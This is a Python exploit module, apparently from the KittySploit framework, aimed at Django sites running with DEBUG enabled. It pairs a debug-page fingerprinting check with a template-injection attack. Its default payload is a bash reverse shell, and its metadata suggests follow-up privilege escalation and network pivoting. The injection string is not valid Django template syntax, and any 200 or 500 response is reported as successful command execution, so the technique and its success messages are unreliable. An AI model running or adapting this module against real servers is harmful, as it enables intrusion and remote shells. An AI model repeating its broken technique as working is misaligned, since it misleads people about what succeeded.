Django Debug Mode RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse


def _looks_like_django_debug_page(response) -> bool:
    """Match Django debug/technical pages with specific markers."""
    if not response:
        return False

    content = (response.text or "").lower()
    status = getattr(response, "status_code", 0)

    strong_markers = [
        "you're seeing this error because you have <code>debug = true</code>",
        "you're seeing this error because you have debug = true",
        "using the urlconf defined in",
        "django tried these url patterns",
        "the current path, <code>",
        "page not found <span>(404)</span>",
        "exception type:",
        "exception value:",
        "traceback <span>",
        "request method:",
        "request url:",
        "raised during:",
        "django version:",
        "python executable:",
        "python path:",
        "server time:",
        "wsgirequest:",
        "settings</th>",
    ]
    score = sum(1 for marker in strong_markers if marker in content)

    if status == 404 and score >= 3:
        return True
    if status >= 500 and score >= 4:
        return True
    return False


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Django Debug Mode RCE",
        "description": "Remote Code Execution exploit for Django applications with DEBUG=True enabled, exploiting error pages and template injection",
        "author": "KittySploit Team",
        "cve": [],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.LINUX,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": [Platform.LINUX],
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    exploit_path = OptString("/", "Path to trigger error", required=False)
    error_param = OptString("error", "Parameter to trigger error", required=False)

    def check(self):
        """
        Check if Django debug mode is enabled
        """
        try:
            # Trigger an error to check for debug page
            response = self.http_request(
                method="GET",
                path="/nonexistent-page-that-should-404/",
                allow_redirects=False
            )
            
            if _looks_like_django_debug_page(response):
                return {
                    'vulnerable': True,
                    'reason': 'Django debug mode enabled',
                    'confidence': 'high'
                }
            
            return {
                'vulnerable': False,
                'reason': 'Django debug mode not detected',
                'confidence': 'medium'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status("Attempting Django debug mode RCE exploit...")
            
            # Try template injection via error pages
            command = self.payload
            
            # Construct payload to trigger template injection
            payload = f"{{% import os %}}{{% os.system('{command}') %}}"
            
            param_name = self.error_param or "error"
            paths = [
                f"/?{param_name}={urllib.parse.quote(payload)}",
                f"/admin/?{param_name}={urllib.parse.quote(payload)}",
                f"/api/?{param_name}={urllib.parse.quote(payload)}",
            ]
            
            for path in paths:
                print_info(f"Trying: {path}")
                response = self.http_request(
                    method="GET",
                    path=path,
                    allow_redirects=False,
                    timeout=10
                )
                
                if response and response.status_code in [200, 500]:
                    print_success("Command executed successfully")
                    return True
            
            print_error("Exploitation failed - debug mode may not be exploitable")
            Fail.NotVulnerable()
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False